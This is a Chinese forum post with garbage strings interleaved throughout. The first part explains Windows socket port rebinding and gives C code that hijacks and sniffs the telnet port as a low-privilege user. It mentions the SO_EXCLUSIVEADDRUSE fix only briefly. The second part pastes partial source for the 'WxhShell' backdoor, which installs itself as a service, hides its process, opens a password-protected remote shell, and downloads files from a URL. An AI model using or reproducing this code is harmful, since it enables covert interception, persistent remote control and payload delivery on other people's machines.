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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1`X{$mxw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S^a")U4  
qIuY2b`6  
  saddr.sin_family = AF_INET; s{'r'`z.  
,M5zhp$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #92MI#|n9  
<vhlT#p   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A{dqB  
# 0d7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZA&bp{}D  
%ikPz~(  
  这意味着什么?意味着可以进行如下的攻击: ~|[i64V<^  
![!,i\x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q,M,^_  
r0wAh/J|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d;,Jf*x\  
<isU D6TC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ._]*Y`5)d  
m70AWG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .+mP#<mAg  
D9H%jDv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6B]i}nFH{+  
 f,kV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >7)QdaB  
rmi&{o:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R_9M-RP6*  
] *U+nG  
  #include 62kA(F 0e,  
  #include XTA:Y7"O  
  #include  #]QS   
  #include    Q8A+\LR~)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   # F6<N]i  
  int main() :L6%57  
  { (0l>P]"n   
  WORD wVersionRequested; d}  5  
  DWORD ret; A#{I- *D[  
  WSADATA wsaData; p I.~j]*:{  
  BOOL val; ^hsr/|  
  SOCKADDR_IN saddr; tSY4'  
  SOCKADDR_IN scaddr; \vx'+}  
  int err; "!& o|!2  
  SOCKET s; uP$i2Cy  
  SOCKET sc; ~Y{]yBGoF  
  int caddsize; \Unawv~  
  HANDLE mt; Xg l %2'  
  DWORD tid;   Q,:h`%V  
  wVersionRequested = MAKEWORD( 2, 2 ); +vH#xc\'  
  err = WSAStartup( wVersionRequested, &wsaData ); R%~~'/2V  
  if ( err != 0 ) { &> _aY #  
  printf("error!WSAStartup failed!\n"); j+>[~c;0)  
  return -1; -tx%#(?wH  
  } [VLq/lg*  
  saddr.sin_family = AF_INET; :#\jx  
   ]<ay_w;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1;+77<  
tKeozV[V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3sRI 7g  
  saddr.sin_port = htons(23); V lkJ$f5l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C^LxJG{L5  
  { 4]E1x l  
  printf("error!socket failed!\n"); R6`mmJ+'  
  return -1; 9':Hh'  
  } _v 8u%  
  val = TRUE; bMsThoePT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t0Lt+E|J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N"0>)tG  
  { gK"(;Jih$  
  printf("error!setsockopt failed!\n"); <IBUl}|\  
  return -1; *y(UI/c  
  } <;@E .I\N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [h_d1\ Cr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i-#Dc (9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -;;m/QM  
m&#D~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xIV#}z0  
  { ]ncK M?'O  
  ret=GetLastError(); 6;@:/kl t  
  printf("error!bind failed!\n"); YE:5'@Z  
  return -1; f =A#:d  
  } \ [M4[Qlq  
  listen(s,2); .Wi%V"  
  while(1) [w-# !X2y  
  { ?!$Dr0r  
  caddsize = sizeof(scaddr); 7<L!" 2VB  
  //接受连接请求 !s ! el;G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :o87<) _F  
  if(sc!=INVALID_SOCKET) +;*4.}  
  { ^jcVJpyT@R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dj4a)p|YN  
  if(mt==NULL) $VP\Ac,!  
  { l)~$/#k  
  printf("Thread Creat Failed!\n"); #Uep|A  
  break; EY.m,@{  
  } ~0o>B$xJ  
  } h Fan$W$  
  CloseHandle(mt); kIe)ocJg  
  } qv >l  
  closesocket(s); Eg2SC?5  
  WSACleanup(); {lUaN0O:  
  return 0; bYX.4(R  
  }   <u1`o`|-  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]3 Ibl^J  
  { t0?t Xe.B  
  SOCKET ss = (SOCKET)lpParam; C1qlB8(Wh>  
  SOCKET sc; RE-y5.kE^  
  unsigned char buf[4096]; sPl3JP&s  
  SOCKADDR_IN saddr; {qU;>;(  
  long num; h0A%KL  
  DWORD val; P)hGe3  
  DWORD ret; ] r%fAm j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9l|*E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )>iPx.hVSS  
  saddr.sin_family = AF_INET; DMSC(Sz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >z% WW&Z'  
  saddr.sin_port = htons(23); E8t{[N6d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [r9HYju =  
  { s;[=B  
  printf("error!socket failed!\n"); X`-o0HG  
  return -1; bb+iUV|Do  
  } f]C^{Uk#  
  val = 100; - (q7"h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p;D {?H/  
  { OB^j b8  
  ret = GetLastError(); MUCes3YJH  
  return -1; L$"pk{'  
  } a] 6d hQ`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e? |4O< @  
  { !CY*SGO  
  ret = GetLastError(); W'Y(@  
  return -1; !9.\A:G  
  } "5Z5x%3I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G_WHW(8   
  { W@%g_V}C*  
  printf("error!socket connect failed!\n"); o3NB3@uj<  
  closesocket(sc); _Kh8 <$h  
  closesocket(ss); mtw{7 E  
  return -1; IJ:JH=8  
  } EN,}[^Z  
  while(1) -zzT:C  
  { 6(Ntt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nQg_1+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \ NKw,`/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q )8I(*  
  num = recv(ss,buf,4096,0); H:WuMwD4  
  if(num>0) RXu` DWN  
  send(sc,buf,num,0); 9C!b f \  
  else if(num==0) <^942y-=  
  break; N| P?!G-=  
  num = recv(sc,buf,4096,0); V?jWp$  
  if(num>0) [o7Qr?RN  
  send(ss,buf,num,0); =+[` 9  
  else if(num==0) [9F  
  break; "5EL+z3v  
  } ivt ~ S  
  closesocket(ss); v_pFI8Cz)  
  closesocket(sc); ",Fvv  
  return 0 ; Sogt?]HB$  
  } vTWm_ed+^  
jz>b>;  
k @gQY_  
========================================================== gkca{BJ   
}gE^HH'  
下边附上一个代码,,WXhSHELL tDMNpl  
)M"xCO3a  
========================================================== 1F+JyZK}w  
)@=fGNDt  
#include "stdafx.h" [dqh-7  
yb0Mn*X+ N  
#include <stdio.h> P{: 5i%qC  
#include <string.h> k%aJ%(  
#include <windows.h> b d C  
#include <winsock2.h> 8,e%=7h_e  
#include <winsvc.h> e+<9Sh7&  
#include <urlmon.h> 5ci1ce  
T {=&>pNK[  
#pragma comment (lib, "Ws2_32.lib") 'tjqfR  
#pragma comment (lib, "urlmon.lib") k/BlkjlNE  
l?Ibq}[~  
#define MAX_USER   100 // 最大客户端连接数 7?);wh7`  
#define BUF_SOCK   200 // sock buffer C9,Uwz<!]  
#define KEY_BUFF   255 // 输入 buffer M~+DxnJ=  
R D?52\  
#define REBOOT     0   // 重启 PY&mLux%  
#define SHUTDOWN   1   // 关机 m3&b)O7  
i|28:FJA  
#define DEF_PORT   5000 // 监听端口 9kbczL^Y  
:-(qqC:  
#define REG_LEN     16   // 注册表键长度 %c8@  
#define SVC_LEN     80   // NT服务名长度 +jKu^f6  
PSyUC#;  
// 从dll定义API  [ A 7{}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~)6EH`-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _g'x=VJF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l 3 jlKB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,3!4 D^  
HK%W7i/k@  
// wxhshell配置信息 )l`VE_(|  
struct WSCFG { 0ZZ Wj%  
  int ws_port;         // 监听端口 wyLyPJv  
  char ws_passstr[REG_LEN]; // 口令 \eRct_  
  int ws_autoins;       // 安装标记, 1=yes 0=no /Ba/gq0j  
  char ws_regname[REG_LEN]; // 注册表键名 *>xCX  
  char ws_svcname[REG_LEN]; // 服务名 6` Aw!&{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1jaK N*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cIP%t pTW.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +*aC \4w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _1~pG)y$U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vjd>j; H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tk `|{Ph0  
vcaPd}nf  
}; JC;&]S.  
 _~S[  
// default Wxhshell configuration W! J@30  
struct WSCFG wscfg={DEF_PORT, 7<Y aw,G  
    "xuhuanlingzhe", ,ne3uPRu7~  
    1, O%px>rdkY  
    "Wxhshell", m1xR uj]  
    "Wxhshell", 'u d[#@2  
            "WxhShell Service", #Jr4LQ@A9  
    "Wrsky Windows CmdShell Service", FPM l;0{  
    "Please Input Your Password: ", Iv*u#]{t  
  1, 91nw1c!  
  "http://www.wrsky.com/wxhshell.exe", 9`M7 -{  
  "Wxhshell.exe" sa"}9IE*8  
    }; :H+8E5  
M Ih\z7gW  
// 消息定义模块 z<.?8bd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #&%>kfeJ)<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i?7 ?I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "b%FkD  
char *msg_ws_ext="\n\rExit."; kv;P2:"|  
char *msg_ws_end="\n\rQuit."; Z#YNL-x  
char *msg_ws_boot="\n\rReboot..."; R dNL f  
char *msg_ws_poff="\n\rShutdown..."; |IS$Om  
char *msg_ws_down="\n\rSave to "; (%"9LYv  
IFhS(3 YK[  
char *msg_ws_err="\n\rErr!"; c@J@*.q]   
char *msg_ws_ok="\n\rOK!"; )ybF@emc  
~R50-O  
char ExeFile[MAX_PATH]; > `0mn|+  
int nUser = 0; HV*;Yt  
HANDLE handles[MAX_USER]; &y(%d 7@/  
int OsIsNt; bR8`Y(=F9b  
NOKU2d4 G  
SERVICE_STATUS       serviceStatus; s'$2 }K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4yjIR?  
2u+!7D!w$  
// 函数声明 8IE^u<H(:  
int Install(void); fPPmUM^C9  
int Uninstall(void); $g/h=w@  
int DownloadFile(char *sURL, SOCKET wsh); ?nWzJ5w3  
int Boot(int flag); yrd1J$  
void HideProc(void); vTTXeS-b  
int GetOsVer(void); T k@~w  
int Wxhshell(SOCKET wsl); NCl@C$W9q  
void TalkWithClient(void *cs); d`~~Ww1  
int CmdShell(SOCKET sock); 5}c8v2R:B  
int StartFromService(void); FZLx.3k4  
int StartWxhshell(LPSTR lpCmdLine); c] t@3m  
h_SkX@"/-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  Lw%_xRn)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [^^Pl:+  
vu#ZLq  
// 数据结构和表定义 D3%2O`9  
SERVICE_TABLE_ENTRY DispatchTable[] = 1Kd6tnX  
{ &HtTh {  
{wscfg.ws_svcname, NTServiceMain}, o"_'cNAz  
{NULL, NULL} W|y;Kxy  
}; 5pK _-:?  
b};o:  
// 自我安装 Rd|8=`)  
int Install(void) EdkIT|c{  
{ z,4 D'F&  
  char svExeFile[MAX_PATH]; (.VS&Kv#U  
  HKEY key; ou- uZ"$,c  
  strcpy(svExeFile,ExeFile); SvrUXf  
e `OQ6|.k8  
// 如果是win9x系统,修改注册表设为自启动 }W&9}9p"  
if(!OsIsNt) { {8oGWQgrj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +C[g>c}d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ge<D}6GQ  
  RegCloseKey(key); $2RSYI`py  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '4Fwh]Ee  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9y<h.T  
  RegCloseKey(key); -4zV yW S<  
  return 0; L"n)fe$  
    } 6U.|0mG[  
  } &/WE{W  
} ~E!kx  
else { | L1+7  
;{q*  
// 如果是NT以上系统,安装为系统服务 PB?2{Cj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c&FOt  
if (schSCManager!=0) !a-B=pn!]  
{ 0!7p5  
  SC_HANDLE schService = CreateService ! Dj2/][  
  ( V; CPn  
  schSCManager, +jyGRSo  
  wscfg.ws_svcname, X6 N&:<  
  wscfg.ws_svcdisp, w( _42)v]g  
  SERVICE_ALL_ACCESS, ZfK[o{9>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !?/:p.  
  SERVICE_AUTO_START, P^48]Kj7  
  SERVICE_ERROR_NORMAL, :9Jy/7/  
  svExeFile, /zoy,t-i  
  NULL, ??U/Qi180  
  NULL, cD}]4  
  NULL, H-U_  
  NULL, V)N{Fr)&  
  NULL }m~MN4 l  
  ); k)|.<  
  if (schService!=0) S2_(lS+R  
  { L+(ng  
  CloseServiceHandle(schService); ~!!| #A)W  
  CloseServiceHandle(schSCManager); |ns?c0rM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >]z^.U7=  
  strcat(svExeFile,wscfg.ws_svcname); Z6A-i@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nSC2wTH!1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JXYZ5&[  
  RegCloseKey(key); > pP&/  
  return 0; "=T &SY  
    } d Rnf  
  } XWyP'\  
  CloseServiceHandle(schSCManager); _lFw1pa#\  
} l $"hhI8  
} "\KBF  
IA({RE  
return 1; _]pu"hZz4  
} P(TBFu  
+a 1iZ bh  
// 自我卸载 8.Y|I5l7G  
int Uninstall(void) y!.jpF'uI  
{ ,^97Ks ;  
  HKEY key; 0FgF,  
;%B9mM#p~  
if(!OsIsNt) { 6/Xs}[iJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,3y9yJQa*#  
  RegDeleteValue(key,wscfg.ws_regname); ]L7A$sTUQ  
  RegCloseKey(key); 2R.L LE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5UO+c( T  
  RegDeleteValue(key,wscfg.ws_regname); KP>9hEh  
  RegCloseKey(key); So'.QWzX  
  return 0; =4a:)g'  
  } fzQR0  
} $R1I(sJ  
} Wi'}d6c  
else { HOF$(86zqA  
C?T\5}h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G+t:]\  
if (schSCManager!=0) eY5mwJ0K  
{ Xa?O)Bq.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ng"=vmu  
  if (schService!=0) ABX%oZ7[|o  
  { J5I@*f)l  
  if(DeleteService(schService)!=0) { yy7(')wKO  
  CloseServiceHandle(schService); kzDN(_<1  
  CloseServiceHandle(schSCManager); HdJ g  
  return 0; %BP>,E/w  
  } 9ziFjP+1  
  CloseServiceHandle(schService); <78|~SKAV  
  } _wS=*-fT  
  CloseServiceHandle(schSCManager); (^m] 7l  
} 0f.j W O  
} <ak[`]  
q!eE~O;A  
return 1; dD=$$( je  
} a3tcLd|7J  
2!Dz9m3  
// 从指定url下载文件 R[ a-"  
int DownloadFile(char *sURL, SOCKET wsh) Y \-W`  
{ \}s/<Q  
  HRESULT hr; +*]$PVAFA  
char seps[]= "/"; iM)K:L7d  
char *token; :_~.Nt  
char *file; 3k`Q]O=OU  
char myURL[MAX_PATH]; LV^^Bd8Ct  
char myFILE[MAX_PATH]; v$|~ g'6  
3SP";3+  
strcpy(myURL,sURL);  D}98ZKi  
  token=strtok(myURL,seps); 30! DraW8  
  while(token!=NULL) (WyNO QO'  
  { $Es\ld  
    file=token; fRQ,Z  
  token=strtok(NULL,seps); 0\P5=hD)K  
  } >.d/@3 '  
b0{i +R  
GetCurrentDirectory(MAX_PATH,myFILE); &*=!B9OBI  
strcat(myFILE, "\\"); U]=yCEb8p  
strcat(myFILE, file); z'EQdQ)  
  send(wsh,myFILE,strlen(myFILE),0); d_@ E4i  
send(wsh,"...",3,0); CO='[1"_5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #1DEZ4]jjY  
  if(hr==S_OK) e0zP LU}  
return 0; Z8 #nu  
else 7~e,"^>T  
return 1; @M5+12FYt  
w\bwa!3Y  
} Jr2yn{s=S  
^v'kEsE^*  
// 系统电源模块 -G~]e6:zD  
int Boot(int flag) 4 XjwU`  
{ wtTy(j,9  
  HANDLE hToken; .h-mFcjy  
  TOKEN_PRIVILEGES tkp; d m8t ~38  
iBSM \ n  
  if(OsIsNt) {   3%kUj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4>*=q*<V5E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .| 4P :r  
    tkp.PrivilegeCount = 1; 4v\HaOk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9Da{|FyrD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gyw=1q+  
if(flag==REBOOT) { |LZ;2 i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bC `<A  
  return 0; z1mB Hz6  
} A@}5'LzL  
else { J\L'HIs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vp/XVyL}R  
  return 0; nqj(V  
} IzpE|8l  
  } !kovrvM6F  
  else { .xJ54Vz  
if(flag==REBOOT) { K%v:giN$l`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D$hQ-K  
  return 0; J:@gmo`M;V  
} )D+BvJ Y"  
else { $ZM'dIk?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {N4 'g_  
  return 0; 4z0gyCAC A  
} .l1x~(  
} ?+t;\  
[ohLG_9  
return 1; FS1\`#Bm)  
} r%U6,7d=)  
{r_HcI(h  
// win9x进程隐藏模块 0;bdwIP3  
void HideProc(void) ieZ$@3#&z  
{ u#76w74  
B$ eM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zm&[K53  
  if ( hKernel != NULL ) rl|'.~mc  
  { k&$ov  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d&+]@ Ii  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); & FhJ%JK  
    FreeLibrary(hKernel); t1w5U+z  
  } zZCl]cql  
>+M[!;m}  
return; 8^UF0>`'  
} {-4+=7Sg1  
9O;Sn+  
// 获取操作系统版本 L7rgkxI7k*  
int GetOsVer(void) ZmsYRk~@-  
{ & =[!L0{  
  OSVERSIONINFO winfo; @z1QoZ^w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \zBi-GI7  
  GetVersionEx(&winfo); ZNBowZI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \CjJa(vV  
  return 1; )'+[,z ;s  
  else 2;v:Z^&  
  return 0; xX<f4H\'  
} "\o#YC  
w6vbYPCN  
// 客户端句柄模块 }4C_r'd6  
int Wxhshell(SOCKET wsl) vbid>$%  
{ XoKgs,y4  
  SOCKET wsh; :h(HKMSk1  
  struct sockaddr_in client; ?X|)0o  
  DWORD myID; [MIgQ.n  
cY5&1Shb~  
  while(nUser<MAX_USER) PuN L%D  
{ X:W\EeH  
  int nSize=sizeof(client); ;J W ]b]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hu|Tj<S  
  if(wsh==INVALID_SOCKET) return 1; vb>F)X?b_  
Ae>+Fcv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JvAXLT  
if(handles[nUser]==0) o +$v0vg%T  
  closesocket(wsh); ,JwX*L<:  
else ED` 1)1<  
  nUser++; 7KIekL  
  } P]Fb0X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rH7Cv/Y  
~5P9^`KNH  
  return 0; U"Gx Xrl  
} cEL:5*cAU}  
]9YA~n\  
// 关闭 socket x#0?$}f<  
void CloseIt(SOCKET wsh) Qder8I  
{ mx9vjW fy  
closesocket(wsh); SJiQg-+<Uf  
nUser--; rj=as>6B  
ExitThread(0); c,1  G+.  
} Ze0qRLuH!  
v2x+_K}J  
// 客户端请求句柄 }b1G21Dc!  
void TalkWithClient(void *cs) !>9s  
{ H'WYnhU&  
(_pw\zk>  
  SOCKET wsh=(SOCKET)cs; g (w/  
  char pwd[SVC_LEN]; (HRj0,/^  
  char cmd[KEY_BUFF]; beO Mln+R  
char chr[1]; &PC6C<<f  
int i,j; }d%CZnY&7  
V lx.C~WYn  
  while (nUser < MAX_USER) { }TTghE!  
<+*0{8?0  
if(wscfg.ws_passstr) { y(|#!m?@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T~3{$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zmhc\M ?z  
  //ZeroMemory(pwd,KEY_BUFF); &{j!!LL  
      i=0; ?M:>2wl  
  while(i<SVC_LEN) { eA& #33  
9^/Y7Wp/@  
  // 设置超时 `KZV@t  
  fd_set FdRead; ()aCE^C  
  struct timeval TimeOut; U`6|K$@  
  FD_ZERO(&FdRead); ]gBnzh.  
  FD_SET(wsh,&FdRead); Ek<Qz5)  
  TimeOut.tv_sec=8; T";evM66  
  TimeOut.tv_usec=0; sK#) k\w>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vEI{AmogRx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zu"qTJE/1  
uw3vYYFX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xKu#O H  
  pwd=chr[0]; znrO~OK  
  if(chr[0]==0xd || chr[0]==0xa) { {F<0e^*  
  pwd=0; 8&EJ. CQ  
  break; 3k'Bje?9~  
  } XZ%[;[  
  i++; 4M&$wi  
    } a#]V|1*O  
$ W7}Igx#  
  // 如果是非法用户,关闭 socket V0^{Ss1M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C+' -TLeu  
} %Yu~56c-  
"6d0j)YO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Y+YN1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3(oMASf  
AFi_P\X  
while(1) { J$6WUz:?  
Z]B v  
  ZeroMemory(cmd,KEY_BUFF); g|Lbe4?  
W.^zN'a  
      // 自动支持客户端 telnet标准   #ZJ 1\Ov  
  j=0; :6Z2@9.}w  
  while(j<KEY_BUFF) { {@2+oOuYfN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WVR/0l&bU  
  cmd[j]=chr[0]; [7}3k?42X  
  if(chr[0]==0xa || chr[0]==0xd) { gnH {_  
  cmd[j]=0; VzXVy)d  
  break; t"B3?<?]  
  } Ue \A ,  
  j++; YC1Bgz  
    } },d^y:m  
CT'4.  
  // 下载文件 dU9;sx  
  if(strstr(cmd,"http://")) { _&]7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6 rnFXZ\  
  if(DownloadFile(cmd,wsh)) kn}^oRT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GTLS0l)  
  else '1D $ ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 3 ]e< '  
  } deAV:c  
  else { }W^@mi  
C`r:jA<LC,  
    switch(cmd[0]) { kSV(T'#x  
  ^mL X}E]  
  // 帮助 rCF=m]1zxT  
  case '?': { g)6>=Qo`8E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fNLO%\G~2  
    break; (nQm9 M(  
  } poAJl;T  
  // 安装 85!]N F  
  case 'i': { 7RDmvWd-'?  
    if(Install()) H{n:R *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQl9SUs  
    else d0B`5#4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bit|L7*14  
    break; /Pe xtj<  
    } E0I/]0  
  // 卸载 Ug+ K:YUq  
  case 'r': { cD]H~D}M  
    if(Uninstall()) DY#195H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w4P;Z-Cd  
    else }Hb0@ b_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /)kJ iV  
    break; ?lkB{-%rQ  
    } @2T8H  
  // 显示 wxhshell 所在路径 }vh <x6  
  case 'p': { _FOIMjh%N  
    char svExeFile[MAX_PATH]; H<|}p Z  
    strcpy(svExeFile,"\n\r"); (-$5YKm  
      strcat(svExeFile,ExeFile); bVz<8b6h'-  
        send(wsh,svExeFile,strlen(svExeFile),0); +c/!R|h=S  
    break; 693"Pg8b  
    } G2N0'R "  
  // 重启 8 SU0q9X.  
  case 'b': { 0uD3a-J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'Y @yW3K  
    if(Boot(REBOOT)) |= cc>]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X'b3CS4  
    else { cO]w*Hti  
    closesocket(wsh); rmggP(  
    ExitThread(0); 2pmj*Y3"8  
    } .u\$wJ9Ai  
    break; (.=ig X  
    } 7>z {2D  
  // 关机 j*>Df2z  
  case 'd': { C7F\Y1Wj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gbYM1guiD  
